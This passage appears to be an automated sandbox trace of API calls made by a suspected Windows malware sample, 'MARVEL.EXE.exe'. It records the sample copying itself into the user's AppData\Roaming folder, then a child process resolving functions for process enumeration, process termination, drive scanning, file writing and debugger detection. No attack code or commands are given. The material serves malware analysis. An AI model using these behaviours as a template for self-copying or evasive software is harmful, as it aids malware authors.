(_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0028.245] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0028.245] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0028.245] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0028.245] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0028.245] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0028.245] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0028.245] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0028.245] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0028.245] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0028.245] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0028.245] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0028.245] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0028.245] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0028.245] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0028.245] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0028.245] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0028.246] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0028.246] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0028.246] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0028.246] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0028.246] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0028.246] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0028.246] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0028.246] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0028.246] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0028.246] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0028.246] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0028.246] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0028.246] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0028.246] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0028.246] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0028.246] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0028.246] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0028.246] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0028.246] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0028.246] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0028.246] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0028.246] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0028.246] GetProcessHeap () returned 0x7a0000 [0028.246] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7b5478 | out: hHeap=0x7a0000) returned 1 [0028.246] GetProcessHeap () returned 0x7a0000 [0028.246] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x18) returned 0x7b5478 [0028.246] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0028.246] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0028.246] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0028.246] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0028.246] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0028.246] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0028.246] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0028.246] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0028.246] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0028.247] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0028.247] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0028.247] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0028.247] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0028.247] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0028.247] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0028.247] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0028.247] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0028.247] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0028.247] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0028.247] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0028.247] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0028.247] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0028.247] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0028.247] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0028.247] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0028.247] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0028.247] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0028.247] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0028.247] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0028.247] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0028.247] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0028.247] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0028.247] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0028.247] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0028.247] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0028.247] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0028.247] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0028.247] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0028.247] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0028.247] GetProcessHeap () returned 0x7a0000 [0028.247] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7b5478 | out: hHeap=0x7a0000) returned 1 [0028.247] GetProcessHeap () returned 0x7a0000 [0028.247] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x1d4) returned 0x7a07f0 [0028.248] GetProcessHeap () returned 0x7a0000 [0028.248] RtlReAllocateHeap (Heap=0x7a0000, Flags=0x0, Ptr=0x7a07f0, Size=0xee) returned 0x7a07f0 [0028.248] GetProcessHeap () returned 0x7a0000 [0028.248] RtlSizeHeap (HeapHandle=0x7a0000, Flags=0x0, MemoryPointer=0x7a07f0) returned 0xee [0028.248] GetProcessHeap () returned 0x7a0000 [0028.248] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x2c) returned 0x7b5478 [0028.248] GetProcessHeap () returned 0x7a0000 [0028.248] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x258) returned 0x7a08e8 [0028.248] _wcsicmp (_String1="MARVEL.EXE.exe", _String2=".") returned 63 [0028.248] _wcsicmp (_String1="MARVEL.EXE.exe", _String2="..") returned 63 [0028.248] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MARVEL.EXE.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\marvel.exe.exe")) returned 0x20 [0028.248] GetProcessHeap () returned 0x7a0000 [0028.248] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x2c) returned 0x7b54b0 [0028.248] GetProcessHeap () returned 0x7a0000 [0028.248] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x258) returned 0x7a0b48 [0028.248] _wcsicmp (_String1="Marvel.exe", _String2=".") returned 63 [0028.248] _wcsicmp (_String1="Marvel.exe", _String2="..") returned 63 [0028.248] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x27, ProcessInformation=0x43f990, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0x43f990, ReturnLength=0x0) returned 0x0 [0028.249] NtSetInformationProcess (ProcessHandle=0xffffffff, ProcessInformationClass=0x27, ProcessInformation=0x43f998, ProcessInformationLength=0x4) returned 0x0 [0028.249] VirtualAlloc (lpAddress=0x0, dwSize=0xfe00, flAllocationType=0x1000, flProtect=0x4) returned 0x110000 [0028.249] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MARVEL.EXE.exe", fInfoLevelId=0x1, lpFindFileData=0x7a08f0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x7a08f0) returned 0x7b54e8 [0028.249] GetProcessHeap () returned 0x7a0000 [0028.249] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x14) returned 0x7b5528 [0028.249] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Marvel.exe", nBufferLength=0x104, lpBuffer=0x43ecb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Marvel.exe", lpFilePart=0x0) returned 0x38 [0028.249] _wcsicmp (_String1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MARVEL.EXE.exe", _String2="con") returned -53 [0028.249] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MARVEL.EXE.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\marvel.exe.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x43ee9c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000080, hTemplateFile=0x0) returned 0x78 [0028.249] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0028.249] _get_osfhandle (_FileHandle=3) returned 0x78 [0028.249] GetFileType (hFile=0x78) returned 0x1 [0028.249] SetErrorMode (uMode=0x0) returned 0x0 [0028.250] SetErrorMode (uMode=0x1) returned 0x0 [0028.250] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MARVEL.EXE.exe", nBufferLength=0x208, lpBuffer=0x43f150, lpFilePart=0x43eed4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MARVEL.EXE.exe", lpFilePart=0x43eed4*="MARVEL.EXE.exe") returned 0x34 [0028.250] SetErrorMode (uMode=0x0) returned 0x1 [0028.250] _get_osfhandle (_FileHandle=3) returned 0x78 [0028.250] ReadFile (in: hFile=0x78, lpBuffer=0x110000, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x43ef40, lpOverlapped=0x0 | out: lpBuffer=0x110000*, lpNumberOfBytesRead=0x43ef40*=0x200, lpOverlapped=0x0) returned 1 [0028.251] SetErrorMode (uMode=0x0) returned 0x0 [0028.251] SetErrorMode (uMode=0x1) returned 0x0 [0028.251] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Marvel.exe", nBufferLength=0x208, lpBuffer=0x43eab0, lpFilePart=0x43eaa8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Marvel.exe", lpFilePart=0x43eaa8*="Marvel.exe") returned 0x38 [0028.251] SetErrorMode (uMode=0x0) returned 0x1 [0028.251] _wcsicmp (_String1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MARVEL.EXE.exe", _String2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Marvel.exe") returned 3 [0028.251] GetProcessHeap () returned 0x7a0000 [0028.251] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x258) returned 0x7a0da8 [0028.251] _wcsicmp (_String1="Marvel.exe", _String2=".") returned 63 [0028.251] _wcsicmp (_String1="Marvel.exe", _String2="..") returned 63 [0028.251] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Marvel.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\marvel.exe")) returned 0xffffffff [0028.251] GetLastError () returned 0x2 [0028.251] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Marvel.exe", nBufferLength=0x104, lpBuffer=0x43ecb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Marvel.exe", lpFilePart=0x0) returned 0x38 [0028.251] SetErrorMode (uMode=0x0) returned 0x0 [0028.251] SetErrorMode (uMode=0x1) returned 0x0 [0028.251] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Marvel.exe", nBufferLength=0x208, lpBuffer=0x43eab0, lpFilePart=0x43eaa8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Marvel.exe", lpFilePart=0x43eaa8*="Marvel.exe") returned 0x38 [0028.251] SetErrorMode (uMode=0x0) returned 0x1 [0028.251] _wcsicmp (_String1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MARVEL.EXE.exe", _String2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Marvel.exe") returned 3 [0028.251] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Marvel.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\marvel.exe")) returned 0xffffffff [0028.252] CopyFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MARVEL.EXE.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\marvel.exe.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Marvel.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\marvel.exe"), lpProgressRoutine=0x0, lpData=0x0, pbCancel=0x4a2841b4, dwCopyFlags=0x0) returned 1 [0028.265] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Marvel.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\marvel.exe")) returned 0x2020 [0028.265] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Marvel.exe", dwFileAttributes=0x2020) returned 1 [0028.265] _close (_FileHandle=3) returned 0 [0028.265] _get_osfhandle (_FileHandle=-1) returned 0xffffffff [0028.302] GetFileType (hFile=0xffffffff) returned 0x0 [0028.302] _get_osfhandle (_FileHandle=-1) returned 0xffffffff [0028.302] SetFileTime (hFile=0xffffffff, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x43eee4) returned 0 [0028.302] FindNextFileW (in: hFindFile=0x7b54e8, lpFindFileData=0x7a08f0 | out: lpFindFileData=0x7a08f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92856280, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0x92856280, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0x90bb9f00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x41000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MARVEL.EXE.exe", cAlternateFileName="")) returned 0 [0028.302] GetLastError () returned 0x12 [0028.302] FindClose (in: hFindFile=0x7b54e8 | out: hFindFile=0x7b54e8) returned 1 [0028.302] NtSetInformationProcess (ProcessHandle=0xffffffff, ProcessInformationClass=0x27, ProcessInformation=0x43f990, ProcessInformationLength=0x4) returned 0x0 [0028.302] _vsnwprintf (in: _Buffer=0x4a285040, _BufferCount=0x103, _Format="%9d", _ArgList=0x43f96c | out: _Buffer=" 1") returned 9 [0028.302] _get_osfhandle (_FileHandle=1) returned 0x7 [0028.303] GetFileType (hFile=0x7) returned 0x2 [0028.303] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0028.303] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x43f8f8 | out: lpMode=0x43f8f8) returned 1 [0028.303] _get_osfhandle (_FileHandle=1) returned 0x7 [0028.303] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x7, lpConsoleScreenBufferInfo=0x43f92c | out: lpConsoleScreenBufferInfo=0x43f92c) returned 1 [0028.303] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2336, dwLanguageId=0x0, lpBuffer=0x4a294640, nSize=0x2000, Arguments=0x0 | out: lpBuffer="%1 file(s) copied.\r\n") returned 0x14 [0028.304] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2336, dwLanguageId=0x0, lpBuffer=0x4a294640, nSize=0x2000, Arguments=0x43f96c | out: lpBuffer=" 1 file(s) copied.\r\n") returned 0x1b [0028.304] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4a294640*, nNumberOfCharsToWrite=0x1b, lpNumberOfCharsWritten=0x43f950, lpReserved=0x0 | out: lpBuffer=0x4a294640*, lpNumberOfCharsWritten=0x43f950*=0x1b) returned 1 [0028.305] _get_osfhandle (_FileHandle=1) returned 0x7 [0028.305] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0028.305] _get_osfhandle (_FileHandle=1) returned 0x7 [0028.305] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a2841ac | out: lpMode=0x4a2841ac) returned 1 [0028.305] _get_osfhandle (_FileHandle=0) returned 0x3 [0028.305] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a2841b0 | out: lpMode=0x4a2841b0) returned 1 [0028.305] SetConsoleInputExeNameW () returned 0x1 [0028.305] GetConsoleOutputCP () returned 0x1b5 [0028.306] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a284260 | out: lpCPInfo=0x4a284260) returned 1 [0028.306] SetThreadUILanguage (LangId=0x0) returned 0x409 [0028.306] exit (_Code=0) Process: id = "3" image_name = "marvel.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\marvel.exe" page_root = "0x3446e000" os_pid = "0x55c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x7b4" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Marvel.exe\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 8 os_tid = 0x5b0 [0030.187] LoadLibraryA (lpLibFileName="KERNEL32.DLL") returned 0x76e10000 [0030.188] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentThread") returned 0x76e217ec [0030.188] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThread") returned 0x76e234d5 [0030.188] GetProcAddress (hModule=0x76e10000, lpProcName="GetEnvironmentVariableW") returned 0x76e21b48 [0030.188] GetProcAddress (hModule=0x76e10000, lpProcName="lstrcmpW") returned 0x76e25929 [0030.188] GetProcAddress (hModule=0x76e10000, lpProcName="GetVersionExW") returned 0x76e21ae5 [0030.188] GetProcAddress (hModule=0x76e10000, lpProcName="SetLastError") returned 0x76e211a9 [0030.188] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateProcess") returned 0x76e3d802 [0030.188] GetProcAddress (hModule=0x76e10000, lpProcName="OpenProcess") returned 0x76e21986 [0030.188] GetProcAddress (hModule=0x76e10000, lpProcName="CreateToolhelp32Snapshot") returned 0x76e4735f [0030.188] GetProcAddress (hModule=0x76e10000, lpProcName="Process32NextW") returned 0x76e4896c [0030.188] GetProcAddress (hModule=0x76e10000, lpProcName="Process32FirstW") returned 0x76e48baf [0030.188] GetProcAddress (hModule=0x76e10000, lpProcName="CreateProcessW") returned 0x76e2103d [0030.188] GetProcAddress (hModule=0x76e10000, lpProcName="lstrcmpiW") returned 0x76e3d5cd [0030.188] GetProcAddress (hModule=0x76e10000, lpProcName="FindFirstFileW") returned 0x76e24435 [0030.189] GetProcAddress (hModule=0x76e10000, lpProcName="FindFirstFileExW") returned 0x76e31811 [0030.189] GetProcAddress (hModule=0x76e10000, lpProcName="FindNextFileW") returned 0x76e254ee [0030.189] GetProcAddress (hModule=0x76e10000, lpProcName="FindClose") returned 0x76e24442 [0030.189] GetProcAddress (hModule=0x76e10000, lpProcName="ReadFile") returned 0x76e23ed3 [0030.189] GetProcAddress (hModule=0x76e10000, lpProcName="WriteFile") returned 0x76e21282 [0030.189] GetProcAddress (hModule=0x76e10000, lpProcName="SetEndOfFile") returned 0x76e3ce2e [0030.189] GetProcAddress (hModule=0x76e10000, lpProcName="CreateFileW") returned 0x76e23f5c [0030.189] GetProcAddress (hModule=0x76e10000, lpProcName="GetLogicalDriveStringsW") returned 0x76ea436f [0030.189] GetProcAddress (hModule=0x76e10000, lpProcName="lstrcatA") returned 0x76e42b7a [0030.189] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileSize") returned 0x76e2196e [0030.189] GetProcAddress (hModule=0x76e10000, lpProcName="GetDriveTypeW") returned 0x76e2418b [0030.189] GetProcAddress (hModule=0x76e10000, lpProcName="SizeofResource") returned 0x76e25ac9 [0030.189] GetProcAddress (hModule=0x76e10000, lpProcName="LockResource") returned 0x76e25959 [0030.189] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryW") returned 0x76e2492b [0030.189] GetProcAddress (hModule=0x76e10000, lpProcName="LoadResource") returned 0x76e2594c [0030.189] GetProcAddress (hModule=0x76e10000, lpProcName="FindResourceW") returned 0x76e25971 [0030.190] GetProcAddress (hModule=0x76e10000, lpProcName="LockFile") returned 0x76e4cf1e [0030.190] GetProcAddress (hModule=0x76e10000, lpProcName="UnlockFile") returned 0x76e4cf36 [0030.190] GetProcAddress (hModule=0x76e10000, lpProcName="GetThreadTimes") returned 0x76ea53eb [0030.190] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceCounter") returned 0x76e21725 [0030.190] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceFrequency") returned 0x76e241f0 [0030.190] GetProcAddress (hModule=0x76e10000, lpProcName="WriteConsoleW") returned 0x76e47aca [0030.190] GetProcAddress (hModule=0x76e10000, lpProcName="SetStdHandle") returned 0x76ea454f [0030.190] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcessHeap") returned 0x76e214e9 [0030.190] GetProcAddress (hModule=0x76e10000, lpProcName="lstrcmpA") returned 0x76e3eceb [0030.190] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForSingleObject") returned 0x76e21136 [0030.190] GetProcAddress (hModule=0x76e10000, lpProcName="GetEnvironmentVariableA") returned 0x76e233a0 [0030.190] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleFileNameW") returned 0x76e24950 [0030.190] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleFileNameA") returned 0x76e214b1 [0030.190] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0030.190] GetProcAddress (hModule=0x76e10000, lpProcName="GetTickCount") returned 0x76e2110c [0030.191] GetProcAddress (hModule=0x76e10000, lpProcName="FreeLibrary") returned 0x76e234c8 [0030.191] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteCriticalSection") returned 0x773545f5 [0030.191] GetProcAddress (hModule=0x76e10000, lpProcName="DecodePointer") returned 0x77359d35 [0030.191] GetProcAddress (hModule=0x76e10000, lpProcName="RaiseException") returned 0x76e258a6 [0030.191] GetProcAddress (hModule=0x76e10000, lpProcName="CloseHandle") returned 0x76e21410 [0030.191] GetProcAddress (hModule=0x76e10000, lpProcName="GetLastError") returned 0x76e211c0 [0030.191] GetProcAddress (hModule=0x76e10000, lpProcName="Sleep") returned 0x76e210ff [0030.191] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleA") returned 0x76e21245 [0030.191] GetProcAddress (hModule=0x76e10000, lpProcName="FreeEnvironmentStringsW") returned 0x76e251cb [0030.191] GetProcAddress (hModule=0x76e10000, lpProcName="GetEnvironmentStringsW") returned 0x76e251e3 [0030.191] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76e21916 [0030.191] GetProcAddress (hModule=0x76e10000, lpProcName="SetFilePointerEx") returned 0x76e3c807 [0030.191] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcess") returned 0x76e21809 [0030.191] GetProcAddress (hModule=0x76e10000, lpProcName="WideCharToMultiByte") returned 0x76e2170d [0030.191] GetProcAddress (hModule=0x76e10000, lpProcName="EnterCriticalSection") returned 0x773422b0 [0030.191] GetProcAddress (hModule=0x76e10000, lpProcName="LeaveCriticalSection") returned 0x77342270 [0030.192] GetProcAddress (hModule=0x76e10000, lpProcName="TryEnterCriticalSection") returned 0x77352500 [0030.192] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentThreadId") returned 0x76e21450 [0030.192] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForSingleObjectEx") returned 0x76e21151 [0030.192] GetProcAddress (hModule=0x76e10000, lpProcName="SwitchToThread") returned 0x76e3efec [0030.192] GetProcAddress (hModule=0x76e10000, lpProcName="MultiByteToWideChar") returned 0x76e2192e [0030.192] GetProcAddress (hModule=0x76e10000, lpProcName="GetStringTypeW") returned 0x76e21946 [0030.192] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventW") returned 0x76e2183e [0030.192] GetProcAddress (hModule=0x76e10000, lpProcName="TlsAlloc") returned 0x76e249ad [0030.192] GetProcAddress (hModule=0x76e10000, lpProcName="TlsGetValue") returned 0x76e211e0 [0030.192] GetProcAddress (hModule=0x76e10000, lpProcName="TlsSetValue") returned 0x76e214fb [0030.192] GetProcAddress (hModule=0x76e10000, lpProcName="TlsFree") returned 0x76e23587 [0030.192] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTimeAsFileTime") returned 0x76e23509 [0030.192] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleW") returned 0x76e234b0 [0030.192] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcAddress") returned 0x76e21222 [0030.192] GetProcAddress (hModule=0x76e10000, lpProcName="EncodePointer") returned 0x77360fcb [0030.193] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringW") returned 0x76e217b9 [0030.193] GetProcAddress (hModule=0x76e10000, 